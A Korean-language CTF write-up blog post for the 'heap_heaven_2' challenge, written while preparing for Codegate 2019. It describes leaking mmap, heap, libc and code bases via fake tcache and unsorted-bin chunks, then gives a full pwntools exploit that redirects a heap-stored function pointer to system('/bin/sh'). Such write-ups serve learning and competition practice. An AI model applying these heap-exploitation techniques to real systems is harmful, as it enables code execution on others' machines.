github twitter facebook email
Haep_heaven_2
Jan 22, 2019
2 minutes read

codegate 2019 준비하면서 남은 1주일동안 heap master할 예정이다,, 못해도 1일 1문제는 꼭 풀어야겠다

바이너리 까보면 malloc 없고 mmap공간에 arbitrary write, read 가 있고 전체적으로 arbitrary free가 있다.

GLIBC2.28인가 libc를 제공했으므로 tcache가 구현되어 있다.

특이하게 exit랑 menu 함수가 힙에서 관리되는데

struct functions
{
  __int64 *bye;
  __int64 *menu;
};

struct state{
	struct functions *functions;
	__int32 fd;
};

구조체는 개략 이렇다. 즉

state -> functions -+-> bye
                    └ > menu

로 관리되어 있다.

먼저 leak을 다 따면

  • mmapbase : tcache에 들어갈 size로 fake chunk를 구성해줘서 이를 double free
  • libcbase : unsorted bin에 들어갈만한 size로 fake chunk를 3개 구성해서 1번째를 free
  • heapbase : arbitrary read로 main_arena 읽기
  • codebase : arbitrary write, read로 heap에 있는 functions의 위치를 읽기

하면 모든 leak을 다 딸 수 있다. 남은건 Exploit인데 생각해본건 2가지 방법이 있다.

처음은 unsafe unlink를 통해서 전역으로 관리되는 mmaped 변수를 bss로 돌려서 arbitrary write를 하여 free_hook를 덮는거고

두번째 방법은 arbitrary free를 이용해서 state를 free시키는 것이다.

이 state를 free 시키게 되면 state -> functions에서 state가 tcache안에 들어감에 따라 state -> ... -> tcache bin 이 될것이다.

따라서 mmapbase를 leak하면서 큰그림조금 그려서 state와 같은 tcache bin에 들어가게끔 하고 ( 해당 fake chunk를 heapT 라고하자)

state를 free시키기 전에 heapT에 미리 주소를 적어두어 state -> heapT -> ... -> tcahe bin 꼴을 만든다면

rip를 캐치할 수 있을것이다.

from pwn import *

def write(size, offset, data):
    p.sendlineafter('exit\n', '1')
    p.sendlineafter('?\n', str(size))
    p.sendlineafter('?\n', str(offset))
    p.send(data.ljust(size, '\x00'))

def free_(offset):
    p.sendlineafter('exit\n', '3')
    p.sendlineafter('?\n', str(offset))

def leak_(offset):
    p.sendlineafter('exit\n', '4')
    p.sendlineafter('?\n', str(offset))

def makeHeap(size, offset, data):
    write(8, offset+8, p64(size) + data)

def free(offset):
    free_(offset + 0x10)

def leak(offset):
    leak_(offset + 0x10)

if __name__ == '__main__':
    p = process('./heap_heaven_2')
    elf = ELF('./heap_heaven_2')
    libc = elf.libc

    makeHeap(0x20, 0x10, "")
    free(0x10)
    free(0x10)
    leak(0x10)
    
    tmp = u64(p.recvline()[:-1].ljust(8,'\x00'))
    mmapbase = tmp - 0x20
    log.info("[MMAP] : 0x%x" % mmapbase)

    makeHeap(0x511, 0x200, "")
    makeHeap(0x511, 0x200 + 0x510, "")
    makeHeap(0x511, 0x200 + 0x510 + 0x510, "")
    free(0x200)
    leak(0x200)

    tmp = u64(p.recvline()[:-1].ljust(8,'\x00'))
    heapbase = tmp - 0x290
    log.info("[HEAP] : 0x%x" % heapbase)
    
    write(0x8, 0x300, p64(mmapbase+0x210))
    leak_(0x300)
    
    tmp = u64(p.recvline()[:-1].ljust(8,'\x00'))
    libcbase = tmp - 0x3ebca0
    log.info("[LIBC] : 0x%x" % libcbase)

    write(0x8, 0x400, p64(heapbase + 0x280))
    leak_(0x400)

    tmp = u64(p.recvline()[:-1].ljust(8,'\x00'))
    codebase = tmp - 0x1670
    log.info("[CODE] : 0x%x" % codebase)
    
    write(0x8, 0x20, "/bin/sh\x00")
    write(0x8, 0x28, p64(libcbase + libc.symbols['system']))
    free_(heapbase+0x250+0x10-mmapbase)

    p.interactive()

Back to posts


comments powered by Disqus